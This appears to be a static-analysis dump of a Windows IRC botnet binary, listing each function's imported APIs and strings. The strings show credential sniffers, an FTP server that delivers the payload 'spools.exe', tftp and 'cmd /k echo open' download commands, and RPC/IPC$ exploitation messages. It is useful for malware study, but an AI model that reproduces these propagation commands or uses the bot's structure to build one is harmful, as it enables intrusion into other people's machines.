sub_outside():
	KERNEL32.Sleep
	KERNEL32.GetTickCount
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.ExitProcess
	WS2_32.getsockname
	KERNEL32.GetLocaleInfoA
	KERNEL32.GetVersionExA
	NTDLL.RtlDeleteCriticalSection
	KERNEL32.InitializeCriticalSectionAndSpinCount
	WS2_32.socket
	KERNEL32.CreateFileA
	KERNEL32.CloseHandle
	KERNEL32.ReadFile
	KERNEL32.GetFileAttributesA
	KERNEL32.GetLocalTime
	WS2_32.WSASocketA
	KERNEL32.SetFilePointer
	KERNEL32.GetSystemInfo
	KERNEL32.GetProcessHeap
	NTDLL.RtlAllocateHeap
	KERNEL32.ReadProcessMemory
	KERNEL32.VirtualQueryEx
	NTDLL.RtlFreeHeap
	KERNEL32.CreatePipe
	KERNEL32.GetCurrentProcess
	KERNEL32.GetVersion
	KERNEL32.LCMapStringW
	KERNEL32.MultiByteToWideChar
	KERNEL32.WideCharToMultiByte
	KERNEL32.UnhandledExceptionFilter
	KERNEL32.GetStringTypeW
	KERNEL32.SetUnhandledExceptionFilter
	KERNEL32.LoadLibraryA

sub_41703B(019e):
	"%sKB"
	"failed"

sub_423896(01a3):
	KERNEL32.CreateFileA
	KERNEL32.CloseHandle
	NTDLL.RtlGetLastWin32Error

sub_40B9DD(0285):
	KERNEL32.CreateThread
	KERNEL32.Sleep
	NTDLL.RtlGetLastWin32Error

	"spools.exe"

sub_41B12D(04c3):
	KERNEL32.GetTickCount

	"%dd %dh %dm"

sub_412AEF(078a):
	"FTP	sniff"
	"#mss2"
	"NICK	"
	"220 "
	"230 "
	"USER	"
	"PASS	"

sub_419201(0b6c):
	NTDLL.RtlGetLastWin32Error

	"The following	Windows	services are regi"...
	"	 Unknown"
	"	 Paused"
	"    Pausing"
	" Continuing"
	"	 Running"
	"    Stoping"
	"   Starting"
	"    Stopped"
	"%s: %s (%s)"

sub_412A79(0d1f):
	"IRC	sniff"
	"#mss2"
	"OPER	"
	"NICK	"
	"oper	"
	"You are now an IRC Operator"

sub_4188F8(0dc3):
	NTDLL.RtlGetLastWin32Error

	"%s	Error: %s <%d>."

sub_40C034(0e3b):
	KERNEL32.GetTickCount
	NTDLL.RtlEnterCriticalSection
	NTDLL.RtlLeaveCriticalSection
	KERNEL32.Sleep

	"sym"

sub_40EAA2(0ff5):
	WS2_32.inet_addr
	WS2_32.ntohs
	WS2_32.socket
	WS2_32.connect
	WS2_32.recv
	WS2_32.send
	WS2_32.closesocket

	"spools.exe"
	"cmd /k echo open %s %d >> ii &echo user"...

sub_41AA26(1084):
	"Software\\Microsoft\\OLE"
	"EnableDCOM"
	"SYSTEM\\CurrentControlSet\\Control\\Lsa"
	"restrictanonymous"
	"%c$"
	"%c:\\"

sub_425D2F(125c):
	KERNEL32.CompareStringW
	KERNEL32.CompareStringA
	KERNEL32.MultiByteToWideChar

sub_4112D7(16d0):
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.TerminateThread
	KERNEL32.CloseHandle

sub_410B3D(17b8):
	KERNEL32.CreateThread
	KERNEL32.Sleep
	NTDLL.RtlGetLastWin32Error

sub_40FCEC(1922):
	"text/html"
	"application/octet-stream"
	"ddd, dd	MMM yyyy"
	"HH:mm:ss"
	"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
	"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...

sub_40BEFB(22a3):
	"%d.%d.%d.%d"

sub_417B4F(2950):
	KERNEL32.GetProcessHeap
	NTDLL.RtlAllocateHeap
	NTDLL.RtlFreeHeap

sub_41A252(29dc):
	KERNEL32.CloseHandle

sub_401135(2a97):
	KERNEL32.Sleep
	KERNEL32.CloseHandle
	KERNEL32.ExitProcess

sub_40F168(2b32):
	WS2_32.WSAStartup
	WS2_32.socket
	WS2_32.setsockopt
	WS2_32.ioctlsocket
	WS2_32.bind
	WS2_32.listen
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.accept
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket

	"220 StnyFtpd 0wns j0\n"
	"%s %s"
	"USER"
	"331 Password required\n"
	"PASS"
	"230 User logged in.\n"
	"SYST"
	"215 StnyFtpd\n"
	"REST"
	"350 Restarting.\n"
	"257 \"/\" is current directory.\n"
	"TYPE"
	"A"
	"200 Type set to A.\n"
	"I"
	"200 Type set to I.\n"
	"PASV"
	"425 Passive not supported on this serve"...
	"LIST"
	"226 Transfer complete\n"
	"PORT"
	"%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
	"%x%x\n"
	"%s.%s.%s.%s"
	"200 PORT command successful.\n"
	"RETR"
	"150 Opening BINARY mode data connection"...
	"226 Transfer complete.\n"
	"[FTP]: I just	owned: %s"
	"425 Can't open data connection.\n"
	"QUIT"
	"221 Goodbye happy r00ting.\n"

sub_415BF1(2bb5):
	"Window"

sub_417A19(2cb7):
	KERNEL32.GetSystemInfo
	KERNEL32.VirtualQueryEx
	KERNEL32.GetProcessHeap
	NTDLL.RtlAllocateHeap
	NTDLL.RtlFreeHeap
	KERNEL32.CloseHandle

sub_40F891(2d16):
	"GET "
	" "
	"\r\n"

sub_41BE83(2e10):
	KERNEL32.ExitProcess

sub_42464C(33c3):
	KERNEL32.WideCharToMultiByte

	"TZ"

sub_40E699(3595):
	KERNEL32.Sleep

	"spools.exe"
	"tftp -i %s get %s\r\n"

sub_418C8D(3f0f):
	KERNEL32.GetVersionExA
	NTDLL.RtlGetLastWin32Error

sub_419533(3fe3):
	"Share	name:	 Resource:		 "...
	"Yes"
	"No"
	"%-14S %-24S %-6u %-4s"

sub_41AF50(4107):
	"www.schlund.net"
	"www.utwente.nl"
	"verio.fr"
	"www.1und1.de"
	"www.switch.ch"
	"www.belwue.de"
	"de.yahoo.com"
	"www.google.it"
	"www.xo.net"
	"www.stanford.edu"
	"www.verio.com"
	"www.nocster.com"
	"www.rit.edu"
	"www.cogentco.com"
	"www.burst.net"
	"nitro.ucsc.edu"
	"www.level3.com"
	"www.above.net"
	"www.easynews.com"
	"www.google.com"
	"www.lib.nthu.edu.tw"
	"www.st.lib.keio.ac.jp"
	"www.d1asia.com"
	"www.nifty.com"
	"yahoo.co.jp"
	"www.google.co.jp"

sub_411428(4448):
	KERNEL32.CreatePipe
	NTDLL.RtlGetLastWin32Error
	KERNEL32.CloseHandle

sub_4115FA(4559):
	KERNEL32.ReadFile
	NTDLL.RtlGetLastWin32Error

sub_401A09(4a4e):
	KERNEL32.Sleep

	"PASS	%s\r\n"

sub_40B6EF(4c22):
	" Scan Time: %s."

sub_42183E(502f):
	"e+000"

sub_41B196(5572):
	KERNEL32.GetVersionExA

sub_41E32D(55e5):
	KERNEL32.HeapCreate
	KERNEL32.HeapDestroy

sub_417DCC(593b):
	" "
	"PING"
	"433"

sub_41E3D2(597c):
	KERNEL32.VirtualFree
	NTDLL.RtlFreeHeap

sub_41B961(5c3f):
	NTDLL.RtlFreeHeap

sub_41C475(5e4f):
	NTDLL.RtlGetLastWin32Error

sub_40D12A(5f99):
	"GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...

sub_42261C(6091):
	KERNEL32.SetFilePointer
	NTDLL.RtlGetLastWin32Error

sub_424B96(60b5):
	NTDLL.RtlAllocateHeap

sub_4254EE(6338):
	"1#SNAN"
	"1#IND"
	"1#INF"
	"1#QNAN"

sub_40E7D2(633c):
	KERNEL32.CreateFileA
	KERNEL32.CloseHandle
	KERNEL32.Sleep

	"\\\\%s\\ipc$"
	"[-] Failed to	connect	to host	!\n"
	"\\\\%s\\pipe\\browser"
	"[+] Binding to RPC interface ... \n"

sub_419083(6353):
	"The specified	service	name is	invalid."
	"The requested	control	code is	undefined"...
	"The handle is	invalid."
	"The handle does not have the required	a"...
	"The service binary file could	not be fo"...
	"The service cannot be	stopped	because	o"...
	"The database is locked."
	"A thread could not be	created	for the	s"...
	"The process for the service was started"...
	"The requested	control	code is	not valid"...
	"An instance of the service is	already	r"...
	"The system is	shutting down."
	"An unknown error occurred: <%ld>"

sub_41EAB7(64eb):
	KERNEL32.VirtualAlloc

sub_411521(65bf):
	KERNEL32.GetCurrentProcess
	KERNEL32.CloseHandle
	NTDLL.RtlGetLastWin32Error

	"cmd /q"

sub_423CBE(66df):
	KERNEL32.WideCharToMultiByte

sub_422478(6954):
	NTDLL.RtlSizeHeap

sub_41513F(6cb9):
	WS2_32.connect
	WS2_32.ioctlsocket
	WS2_32.__WSAFDIsSet
	WS2_32.getsockopt

sub_40EB90(6e5c):
	WS2_32.socket
	WS2_32.connect
	WS2_32.send
	WS2_32.closesocket

sub_40CD4C(6e81):
	WS2_32.select
	WS2_32.__WSAFDIsSet

sub_415DEA(6f62):
	"Window"

sub_41011E(7137):
	KERNEL32.FindFirstFileA
	KERNEL32.FindNextFileA
	KERNEL32.Sleep

	"\n"
	"PRIVMSG %s :Searching	for: %s\r\n"
	"\r\n\r\n